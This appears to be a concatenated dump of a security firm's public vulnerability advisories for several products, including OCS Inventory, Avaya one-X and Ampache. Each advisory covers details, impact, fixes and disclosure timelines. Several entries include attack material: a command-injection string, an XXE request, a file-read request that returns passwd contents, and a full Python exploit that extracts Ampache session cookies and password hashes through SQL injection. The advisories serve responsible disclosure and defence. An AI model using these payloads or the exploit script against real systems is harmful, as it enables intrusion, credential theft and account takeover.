[![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ ubiQuoss
6 | __Vendor URL:__ https://www.ubiquoss.com
7 | __Versions affected:__ ubiQuoss Switch VP5208A
8 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ No
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2018/CVE-2018-10024/))
11 | 12 | ## Summary 13 | An unauthenticated attacker can read system passwords in cleartext from a file accesible via HTTP. 14 | 15 | ## Details 16 | ubiQuoss Switch VP5208A creates a bcm_passwd file at /cgi-bin/ with the user credentials in cleartext when a failed login attempt occurs. The file can be reached via an HTTP request. The credentials can be used to access the system via SSH (or TELNET if it is enabled). 17 | 18 | ## Impact 19 | An attacker can read the administrator password and use it to log in the administration interfaces (HTTP, SSH or Telnet if enabled). 20 | 21 | ## Recommendation 22 | There is no fixes for this vulnerability. Block the administration interfaces on the internet or untrusted networks. 23 | 24 | ## Timeline 25 | * 18/09/17 - First attempt to contact vendor 26 | * 06/03/18 - Contacted US-CERT with the report 27 | * 15/03/18 - ACK from US-CERT. They gave us other e-mail address to try to contact 28 | * 15/03/18 - Attempt to contact vendor at the new e-mail address 29 | * 09/04/18 - Disclosure 30 | 31 | 32 | 33 | # 34 | 35 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 36 | 37 | -------------------------------------------------------------------------------- /2018/CVE-2018-12482/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-12482: Multiple SQL injections in OCS Inventory 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ OCS Inventory
6 | __Vendor URL:__ https://ocsinventory-ng.org
7 | __Versions affected:__ OCS Inventory <= 2.4.1
8 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/Xassiz)), Jaume Llopis ([@JKS___](https://twitter.com/JKS___)) & Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/TheXC3LL))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ No
11 | 12 | 13 | ## Summary 14 | The search engine implemented in OCS Inventory does not perform an adequate filtering of the parameters used within SQL statements, making it possible to inject arbitrary SQL code. 15 | 16 | ## Details 17 | Some injection points: 18 | 19 | * GET and POST parameter “values” when searching from the section “Inventory -> Search with various criteria data”. When you select a search tag (for example “Network: IPADDRESS”), the SQL statement remains such that: 20 | ``` 21 | select distinct HARDWARE_ID,networks.DESCRIPTION as 'Network: Description',networks.TYPE as 'Network: Type',networks.TYPEMIB as 'Network: MibType',networks.SPEED as 'Network: Speed',networks.MACADDR as 'Network: MAC Address',networks.STATUS as 'Network: Status',networks.IPADDRESS as 'Network: IP Address',networks.IPMASK as 'Network: IP Netmask',networks.IPSUBNET as 'Network: Subnetwork IP',networks.IPGATEWAY as 'Network: Gateway IP',networks.IPDHCP as 'Network: DHCP IP' from networks where ( ( IPADDRESS = '[INJECT HERE]')) 22 | ``` 23 | 24 | By not filtering properly, we can break the sentence with a single quote (‘) and inject our payload. 25 | 26 | * Parameters length, order and start. These parameters used for the limit and order clauses of the SQL statement are not filtered properly, allowing the execution of arbitrary queries in the same way: 27 | ``` 28 | (Example: POST parameter length) 29 | ... GROUP BY netid) non_ident on non_ident.RSX=inv.RSX) toto order by ID asc limit 0 ,[inject here] 30 | ``` 31 | ## Impact 32 | An attacker can execute arbitrary SQL queries in the backend. 33 | 34 | ## Recommendation 35 | Update the software to last version. 36 | 37 | ## Timeline 38 | 39 | * 05/06/2018 - Reported vulnerability to vendor 40 | * 05/06/2018 - Vendor ACK 41 | * 14/06/2018 - First fix attempt (bypassed) 42 | * 02/07/2018 - Correct fix 43 | * 30/07/2018 - Security Release with fix (OCS Inventory 2.5) 44 | 45 | 46 | # 47 | 48 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 49 | -------------------------------------------------------------------------------- /2018/CVE-2018-12483/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-12483: Remote Command Execution in OCS Inventory 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ OCS Inventory
6 | __Vendor URL:__ https://ocsinventory-ng.org
7 | __Versions affected:__ OCS Inventory <= 2.4.1
8 | __Discovered by:__ Jaume Llopis ([@JKS___](https://twitter.com/JKS___))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ No
11 | 12 | ## Summary 13 | An authenticated attacker can execute system commands via command injection in IP Discover functionality. 14 | 15 | ## Details 16 | In IP Discovery functionality: 17 | ```php 18 | function runCommand($command = "", $fname) { 19 | $command = "perl ipdiscover-util.pl $command -xml -h=" . SERVER_READ . " -u=" . COMPTE_BASE . " -p=" . PSWD_BASE . " -d=" . DB_NAME . " -path=" . $fname; 20 | exec($command); 21 | } 22 | ``` 23 | The perl script is executed as a system command via exec() function, where it takes as argument a text string where the parameters have been concatenated: 24 | ```php 25 | //ms_ipdiscover_analyse.php 26 | $pas = $protectedGet['rzo']; 27 | $values = look_config_default_values(array('IPDISCOVER_IPD_DIR'), '', array('IPDISCOVER_IPD_DIR' => array('TVALUE' => VARLIB_DIR))); 28 | $fname = $values['tvalue']['IPDISCOVER_IPD_DIR']; 29 | $file_name = $fname . "/ipd/" . $pas . ".ipd"; 30 | //reset cache? 31 | if (is_defined($protectedPost['reset'])) { 32 | unlink($file_name); 33 | reloadform_closeme('', true); 34 | } else { 35 | if (!is_readable($file_name)) 36 | runCommand("-cache -net=" . $pas, $fname); 37 | ``` 38 | The parameters provided to the runCommand function lack any filtering, so it is possible to abuse this functionality in order to execute arbitrary commands in the OS. Since we have the control of $pas (as it acquires its value from the GET parameter “rzo”), we can insert commands by the creation of a string like this one: 39 | 40 | ```bash 41 | perl ipdiscover-util.pl -cache -net=;id > /tmp/pwned;#-xml -h=... 42 | ``` 43 | ## Impact 44 | An authenticated attacker can execute arbitrary system commands. This can be exploited inside the a valid session via CSRF. 45 | 46 | ## Recommendation 47 | Update to last version. 48 | 49 | ## Timeline 50 | 51 | * 05/06/2018 - Reported vulnerability to vendor 52 | * 05/06/2018 - Vendor ACK 53 | * 14/06/2018 - First fix attempt (bypassed) 54 | * 02/07/2018 - Correct fix 55 | * 30/07/2018 - Security Release with fix (OCS Inventory 2.5) 56 | 57 | 58 | # 59 | 60 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2018/CVE-2018-14473/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-14473: XML External Entity (XXE) in OCS Inventory 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ OCS Inventory
6 | __Vendor URL:__ https://ocsinventory-ng.org
7 | __Versions affected:__ OCS Inventory <= 2.4.1
8 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2018/CVE-2018-14473/))
11 | 12 | 13 | 14 | ## Summary 15 | Due to an inadequate configuration it is possible to use external entities, which when processed by the XML parser, allow the exfiltration of sensitive information from the machine. 16 | 17 | ## Details 18 | The communication between the agents and the master server of OCS Inventory is done through the HTTP protocol, sending the information against an endpoint. The information is structured in the form of XML, being parsed by the server to extract the data. 19 | As proof of concept, a local web server can be raised on the user’s machine, as a canary, and send the following request against the vulnerable endpoint: 20 | 21 | ``` 22 | POST /ocsinventory HTTP/1.1 23 | Host: xxxxxxxxxxxxxxx 24 | User-Agent: OCS-NG_WINDOWS_AGENT_v2.3.1.1 25 | Accept: */* 26 | Content-Type: application/xml 27 | Content-Length: 160 28 | Expect: 100-continue 29 | Connection: close 30 | 31 | 33 | 34 | > 35 | &sp; 36 | ``` 37 | 38 | When the XML is processed, the entity &sp; expands and the OCS Inventory server makes a request against our canary, verifying the existence of the vulnerability. 39 | 40 | ## Impact 41 | An attacker can exfiltrate sensitive information from the machine. 42 | 43 | ## Recommendation 44 | Update the software to last version. 45 | 46 | ## Timeline 47 | 48 | * 05/06/2018 - Reported vulnerability to vendor 49 | * 05/06/2018 - Vendor ACK 50 | * 14/06/2018 - First fix attempt (bypassed) 51 | * 02/07/2018 - Correct fix 52 | * 30/07/2018 - Security Release with fix (OCS Inventory 2.5) 53 | 54 | 55 | # 56 | 57 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) -------------------------------------------------------------------------------- /2018/CVE-2018-15503/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-15503: Memory corruption via deserialization in Swoole 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Swoole
5 | __Vendor URL:__ https://www.swoole.co.uk
6 | __Versions affected:__ Swoole <= 4.0.4
7 | __Discovered by:__ Juan Manuel Fernandez ([@TheXC3LL](https://twitter.com/thexc3ll))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ Yes ([ref](https://github.com/X-C3LL/PoC-CVEs/tree/master/CVE-2018-15503))
10 | ## Summary 11 | The unpack implementation in Swoole version 4.0.4 lacks correct size checks in the deserialization process. An attacker can craft a serialized object to exploit this vulnerability and cause a memory corruption. 12 | 13 | ## Details 14 | Proof of concept to leak 255 bytes: 15 | 16 | ```php 17 | unpack($sor); 22 | echo "[+] Swoole Unserialized:\n"; 23 | var_dump($ser); 24 | echo "[+] Memory Leaked:\n"; 25 | $keys = key(get_object_vars($ser[1])); 26 | echo bin2hex($keys); 27 | echo "\n[+] Size: \n"; 28 | echo strlen($keys); 29 | ?> 30 | ``` 31 | ## Impact 32 | This vulnerability can be abused to bypass server mitigations and execute arbitrary code. 33 | 34 | ## Recommendation 35 | Update to last version. 36 | 37 | ## Timeline 38 | * 14/08/2018 - Reported vulnerability to vendor 39 | * 15/08/2018 - Fix released in Github 40 | 41 | # 42 | 43 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 44 | -------------------------------------------------------------------------------- /2018/CVE-2018-15610/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-15610: Avaya one-X portal arbitrary OS file access 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | __Vendor:__ Avaya
5 | __Vendor URL:__ https://support.avaya.com/products/P0482/avaya-onex-portal
6 | __Versions affected:__ Multiple versions and products (check the details section to view the full list)
7 | __Discovered by:__ Pedro Andujar ([@pandujar](https://twitter.com/pandujar))
8 | __Public fix:__ Yes
9 | __Proof of Concept:__ No
10 | 11 | 12 | ## Summary 13 | one-X Portal for IP Office is an application that runs on a web server connected to the IP Office telephone system. Using a web browser, one can access 14 | the one-X Portal for IP Office and use it to perform actions such as: 15 | 16 | * Control your telephone calls 17 | * View details of calls and directories of contacts 18 | * Configure settings that affect how your calls are treated by the telephone system 19 | * Conference calls 20 | * Manage your voicemail messages 21 | 22 | ## Details 23 | Avaya one-x for ip office contains a default low privileged account, which has limited access to the application, where it's intended to perform backup duties. 24 | 25 | An arbitrary file download issue was found in the backup portal, affecting to either Linux and Windows versions of the 9.x, 10.0.x and 10.1.x series. An 26 | authenticated remote attacker could send specially crafted request leading into potential information disclosure and DoS. 27 | 28 | DownloadToLocalDriveServlet allows to download any operating system file. 29 | 30 | ``` 31 | <<>> 32 | GET /path/to/DownloadToLocalDriveServlet**REDACTED** HTTP/1.1 33 | Host: 192.168.1.38 34 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0 35 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 36 | Accept-Language: en-US,en;q=0.5 37 | Accept-Encoding: gzip, deflate 38 | Referer: https://192.168.1.38/onexportal-afa.html 39 | Cookie: JSESSIONID=740B74DC4B77E0B8EB8F4FED6BA5EAE8; 40 | Connection: close 41 | Upgrade-Insecure-Requests: 1 42 | 43 | <<>> 44 | HTTP/1.1 200 OK 45 | Server: Apache-Coyote/1.1 46 | Content-Disposition: attachment; filename=passwd; 47 | Content-Type: application/zip 48 | Date: Mon, 19 Mar 2018 20:38:39 GMT 49 | Connection: close 50 | Content-Length: 1910 51 | 52 | root:x:0:0:root:/root:/bin/bash 53 | bin:x:1:1:bin:/bin:/sbin/nologin 54 | daemon:x:2:2:daemon:/sbin:/sbin/nologin 55 | adm:x:3:4:adm:/var/adm:/sbin/nologin 56 | lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin 57 | sync:x:5:0:sync:/sbin:/bin/sync 58 | ... 59 | ``` 60 | 61 | This request also deletes de file after being downloaded (depending on the OS file and process permissions). Be carefull on Windows version as process runs with 62 | system privileges. 63 | 64 | Vulnerable piece of code: 65 | 66 | ```php 67 | if (sessionManager.isSessionAlive(session)) { 68 | String folder = req.getParameter("folder"); 69 | String filename = req.getParameter("filename"); 70 | if (logger.isDebugEnabled()) logger.debug(new Object[] { "doGet(), folder:", Helper.reformatFolderPath(folder), ", filename: ", filename }); 71 | BufferedOutputStream bos = null; 72 | FileInputStream in = null; 73 | try { 74 | resp.setContentType("application/zip"); 75 | resp.setHeader("Content-Disposition", "attachment; filename=" + filename + ";"); 76 | bos = new BufferedOutputStream(resp.getOutputStream()); 77 | in = new FileInputStream(Helper.reformatFolderPath(folder) + filename) 78 | 79 | ``` 80 | 81 | 82 | ## Impact 83 | This vulnerability can be use to download arbitrary files and even to cause a DoS due to file removal. 84 | 85 | ## Recommendation 86 | DownloadToLocalDriveServlet it is only intended to download backup zip files from server to the desktop. Backup file default folder it's predefined setting that 87 | appears as serverFolderForBackup directive on $TOMCAT\bin\inyama-user.xml file, and therefore do not need to be passed through GET parameter. 88 | 89 | ```php 90 | String serverFolder = loggedInUser.getServerFolder() + File.separator; 91 | File downloadedFile = new File(Helper.reformatFolderPath(serverFolder), fileName); 92 | ``` 93 | 94 | - Implement file type checks and enforce/append .zip extension (this is also recomended for UploadFromLocalServlet.class which allows arbitrary file upload, 95 | but at least enforces destination folder) 96 | 97 | - Avoid sending filename as GET or ensure path traversal protection is in place 98 | 99 | https://downloads.avaya.com/css/P8/documents/101051984 100 | 101 | * For 10.0.x, upgrade to IP Office one-X portal 10.0.702.16 102 | * For 10.1.x, upgrade to IP Office one-X portal 10.1.300.12 103 | * Fix is also provided in 11.0 or later 104 | 105 | Avaya strongly recommends following networking and security best practices by implementing firewalls, ACLs, physical security or other appropriate access restrictions. Though Avaya believes such restrictions should always be in place, risk to Avaya products and the surrounding network from this potential 106 | vulnerability may be mitigated by ensuring these practices are implemented until such time as an Avaya provided product update or the recommended Avaya action is applied. Further restrictions as deemed necessary based on the customer's security policies may be required during this interim period, but the 107 | System Product operating system or application should not be modified unless the change is approved by Avaya. Making changes that are not approved may void the Avaya product service contract. 108 | 109 | ## Timeline 110 | * 18/03/2018 - Vuln discovered during pentest engagement 111 | * 19/03/2018 - Avaya product security contacted 112 | * 19/03/2018 - Avaya product security replied 113 | * 23/03/2018 - Avaya product security confirmed and planned fix 114 | * 23/07/2018 - Fix available to customers 115 | * 31/08/2018 - Public disclosure 116 | 117 | (Kudos to the ProducSec Team, for the excelent communication and incident handling) 118 | 119 | 120 | # 121 | 122 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 123 | -------------------------------------------------------------------------------- /2018/CVE-2018-6792/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2018-6792: Multiple SQL injections in Saifor CVMS Hub 2 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 3 | 4 | 5 | __Vendor:__ Saifor
6 | __Vendor URL:__ http://saifor.com
7 | __Versions affected:__ CVMS Hub <= 1.3.1
8 | __Discovered by:__ José Manuel Aparicio ([@jm_aparicio](https://twitter.com/jm_aparicio))
9 | __Public fix:__ No
10 | __Proof of Concept:__ No
11 | 12 | ## Summary 13 | An attacker can execute arbitrary SQL queries because the application does not validate the parameters received. 14 | 15 | ## Details 16 | Multiple SQL injection vulnerabilites in CVMS HUB 1.3.1 allow an authenticated user to execute arbitrary SQL queries via multiple POST parameters to /cvms-hub/privado/seccionesmib/secciones.xhtml. 17 | 18 | The following parameteres are prone to be vulnerable: 19 | ``` 20 | formularioGestionarSecciones:tablaSeccionesMib:j_idt118:filter 21 | formularioGestionarSecciones:tablaSeccionesMib:j_idt120:filter 22 | formularioGestionarSecciones:tablaSeccionesMib:j_idt122:filter 23 | formularioGestionarSecciones:tablaSeccionesMib:j_idt124:filter 24 | formularioGestionarSecciones:tablaSeccionesMib:j_idt126:filter 25 | formularioGestionarSecciones:tablaSeccionesMib:j_idt128:filter 26 | formularioGestionarSecciones:tablaSeccionesMib:j_idt130:filter 27 | ``` 28 | 29 | Likewise, SQL injection exists in /cvms-hub/privado/seccionesmib/secciones.xhtml via GET parameter 'nombreAgente'. 30 | 31 | ## Impact 32 | An attacker can execute arbitrary SQL queries in the backend. 33 | 34 | ## Recommendation 35 | There is no fixes for this vulnerability. 36 | 37 | ## Timeline 38 | * 21/12/2017 - Vulnerability reported to vendor (No response) 39 | * 23/01/2018 - Vulnerability reported to vendor (No Response) 40 | * 06/02/2018 - Full disclosure after 45 days (https://www.cert.org/vulnerability-analysis/vul-disclosure.cfm) 41 | 42 | # 43 | 44 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 45 | -------------------------------------------------------------------------------- /2019/CVE-2019-10687/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-10687: Multiple SQL Injection in KBPublisher 2 | ## Software 3 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-None-red?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 4 | 5 | __Vendor:__ KBPublisher
6 | __Vendor URL:__ https://www.kbpublisher.com
7 | __Versions affected:__ KBPublisher 6.0.2.1
8 | __Discovered by:__ Pedro Andujar ([@pandujar](https://twitter.com/pandujar))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ No
11 | 12 | 13 | ## Summary 14 | KBPublisher release 6.0.2, and probably prior versions, contain multiple SQLi vulnerabilities that affect not only the admin interface but also the public (unauthenticated) 15 | area of the application. 16 | 17 | ## Details 18 | 19 | Affected URL's from the admin area (also affecting to POST parameters): 20 | 21 | ``` 22 | https://SITE/admin/index.php?module=report&page=report_entry&entry_id%5B0%5D=325PAYLOAD&filter%5Bt%5D=1&ajax=1 23 | ``` 24 | 25 | ``` 26 | https://SITE/admin/index.php?module=log&page=login_log&action=detail&id=PAYLOAD 27 | ``` 28 | 29 | The publicly accesible URL, correspond to the print feature: 30 | 31 | ``` 32 | https://SITE/index.php?View=print&id%5B%5D=PAYLOAD 33 | ``` 34 | 35 | ## Impact 36 | This vulnerability can be abused to extract users and password hashes from the database. 37 | 38 | ## Recommendation 39 | Upgrade to version 7.0 or higher. 40 | 41 | ## Timeline 42 | * 21/Mar/2019: - Vuln discovered during engagement. 43 | * 21/Mar/2019: - KBP product security contacted. 44 | * 22/Mar/2019: - Replied providing workarround. 45 | * 30/Apr/2019: - New release of KBP released to public. 46 | * 21/Ago/2019: - Public disclosure. 47 | 48 | # 49 | 50 | [![](https://img.shields.io/badge/www-blackarrow.net-E5A505?style=flat-square)](https://www.blackarrow.net) [![](https://img.shields.io/badge/twitter-@BlackArrowSec-00aced?style=flat-square&logo=twitter&logoColor=white)](https://twitter.com/BlackArrowSec) [![](https://img.shields.io/badge/linkedin-@BlackArrowSec-0084b4?style=flat-square&logo=linkedin&logoColor=white)](https://www.linkedin.com/company/blackarrowsec/) 51 | -------------------------------------------------------------------------------- /2019/CVE-2019-12385/CVE-2019-12385.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # CVE-2019-12385.py - SQL Injection 4 | # 5 | # Software: Ampache <= 3.9.1 6 | # Author: Pablo Martinez (@xassiz) from BlackArrow 7 | # Details: https://github.com/blackarrowsec/advisories/tree/master/2019/CVE-2019-12385 8 | # Web: [www.blackarrow.net] - [www.tarlogic.com] 9 | # 10 | 11 | 12 | import re 13 | import sys 14 | import string 15 | import requests 16 | import argparse 17 | 18 | class Ampawn(): 19 | 20 | def __init__(self, url, cookie=None, proxy=None, debug=False): 21 | self.url = url 22 | self.cookies = { "ampache": cookie } if cookie else None 23 | self.proxy = proxy 24 | self.debug = debug 25 | self.headers = { 26 | "X-Requested-With": "XMLHttpRequest", 27 | "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36", 28 | "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 29 | "Accept-Encoding": "gzip, deflate", 30 | "Connection": "close" 31 | } 32 | 33 | def check(self, payload): 34 | url = "%s/search.php?type=song" % self.url 35 | 36 | data = { 37 | "limit": "0", 38 | "operator": "or", 39 | "rule_1": "last_play", 40 | "rule_1_operator": "1", 41 | "rule_1_input": "%s" % payload, 42 | "action": "search" 43 | } 44 | r = requests.post(url, headers=self.headers, cookies=self.cookies, data=data, proxies=self.proxy, allow_redirects=False) 45 | 46 | if r.status_code == 302: 47 | if r.headers.get('Location')[-10:] == '/login.php': 48 | print "[-] Auth failed" 49 | sys.exit(2) 50 | elif r.status_code != 200: 51 | print "[-] Error code: %d" % r.status_code 52 | sys.exit(3) 53 | 54 | return re.search('song_\d*"', r.text) 55 | 56 | def dump(self, pattern, size=26, charset=None): 57 | full = '' 58 | for p in range(size): 59 | c = charset 60 | 61 | while len(c) > 1: 62 | middle = len(c) // 2 63 | h0, h1 = c[:middle], c[middle:] 64 | payload = pattern % (p+1, h0.encode('hex')) 65 | c = h1 if self.check(payload) else h0 66 | 67 | full += c 68 | 69 | if self.debug: 70 | print "[debug] Partial result: %s" % full 71 | 72 | return full 73 | 74 | def is_vulnerable(self): 75 | pattern = '1))union select 1 from dual where %s--' 76 | return self.check(pattern % '1=1') and not self.check(pattern % '1=0') 77 | 78 | def get_user_session(self, condition): 79 | count = '1))union select 1 from dual where (select count(*) from session where %s)>0--' % condition 80 | if not self.check(count): 81 | return None 82 | else: 83 | pattern = '1))union select 1 from (select 1 from session where %s and LOCATE(SUBSTR(id,%%d,1),BINARY 0x%%s)=0 order by expire DESC limit 1)t--' % condition 84 | return self.dump(pattern, size=26, charset=string.lowercase + string.digits) 85 | 86 | def get_user_password_hash(self, condition): 87 | count = '1))union select 1 from dual where (select count(*) from user where %s)=1--' % condition 88 | if not self.check(count): 89 | return None 90 | else: 91 | pattern = '1))union select 1 from user where %s and LOCATE(SUBSTR(password,%%d,1),BINARY 0x%%s)=0 limit 1--' % condition 92 | return self.dump(pattern, size=64, charset='abcdef0123456789') 93 | 94 | def get_username_by_id(self, id): 95 | r = requests.get("%s/stats.php?action=show_user&user_id=%d" % (self.url, int(id)), headers=self.headers, cookies=self.cookies, proxies=self.proxy, allow_redirects=False) 96 | 97 | if r.status_code == 302: 98 | if r.headers.get('Location')[-10:] == '/login.php': 99 | print "[-] Auth failed" 100 | sys.exit(2) 101 | elif r.status_code != 200: 102 | print "[-] Error code: %d" % r.status_code 103 | sys.exit(3) 104 | 105 | try: 106 | res = re.search('Display Name\n(.*)even">\n(.*)<', r.text) 107 | return res.group(2).strip() 108 | except: 109 | return None 110 | 111 | 112 | if __name__ == '__main__': 113 | 114 | parser = argparse.ArgumentParser() 115 | parser.add_argument("--url", help="URL of the target Ampache instance", required=True) 116 | parser.add_argument("--session", help="Session ID (if auth required)") 117 | parser.add_argument("--proxy", help="Proxy (optional)") 118 | parser.add_argument("--check", help="Check if target is vulnerable", action='store_true') 119 | parser.add_argument("--debug", help="Print debug information", action='store_true') 120 | parser.add_argument("--get-session", help="Dumps a user session cookie ", action='store_true') 121 | parser.add_argument("--get-password", help="Dumps a user password hash", action='store_true') 122 | parser.add_argument("--user", help="Target username (default: user with id=1)") 123 | parser.add_argument("--id", help="Target user id (default: user with id=1)") 124 | 125 | args = parser.parse_args() 126 | 127 | proxy = {'http':args.proxy, 'https':args.proxy} if args.proxy else None 128 | 129 | if args.session: 130 | pwn = Ampawn(args.url, args.session, proxy=proxy, debug=args.debug) 131 | else: 132 | pwn = Ampawn(args.url, proxy=proxy, debug=args.debug) 133 | 134 | print "[+] Target: %s" % args.url 135 | 136 | if args.check: 137 | if pwn.is_vulnerable(): 138 | print "[+] Target is vulnerable" 139 | else: 140 | print "[-] Target is not vulnerable" 141 | sys.exit(1) 142 | 143 | if args.user: 144 | condition = "username=0x%s" % args.user.encode('hex') 145 | print "[+] Retrieving info for user '%s'..." % args.user 146 | elif args.id: 147 | condition = "id=%s" % args.id 148 | print "[+] Retrieving info for user with id=%s..." % args.id 149 | username = pwn.get_username_by_id(args.id) 150 | if username: 151 | print "[+] Username: %s" % username 152 | else: 153 | condition = "id=1" 154 | args.id = 1 155 | print "[+] Retrieving info for user with id=1..." 156 | username = pwn.get_username_by_id(args.id) 157 | if username: 158 | print "[+] Username: %s" % username 159 | 160 | if args.get_session: 161 | if args.id: 162 | condition = 'username=(select username from user where %s)' % condition 163 | 164 | session_id = pwn.get_user_session(condition) 165 | if session_id: 166 | print "[+] Session = %s" % session_id 167 | else: 168 | print "[-] User has no active session" 169 | 170 | if args.get_password: 171 | hash = pwn.get_user_password_hash(condition) 172 | if hash: 173 | print "[+] Password = %s" % hash 174 | else: 175 | print "[-] User not found" 176 | 177 | -------------------------------------------------------------------------------- /2019/CVE-2019-12385/README.md: -------------------------------------------------------------------------------- 1 | # CVE-2019-12385: SQL injection in Ampache 2 | ## Software 3 | [![](https://img.shields.io/badge/Attack%20Vector-Remote-red?style=flat-square)]() [![](https://img.shields.io/badge/Privileges%20Required-Low-yellow?style=flat-square)]() [![](https://img.shields.io/badge/User%20Interaction-No-red?style=flat-square)]() 4 | 5 | __Vendor:__ Ampache
6 | __Vendor URL:__ http://ampache.org
7 | __Versions affected:__ Ampache <= 3.9.1
8 | __Discovered by:__ Pablo Martinez ([@xassiz](https://twitter.com/xassiz))
9 | __Public fix:__ Yes
10 | __Proof of Concept:__ Yes ([ref](https://github.com/blackarrowsec/advisories/blob/master/2019/CVE-2019-12385/CVE-2019-12385.py))
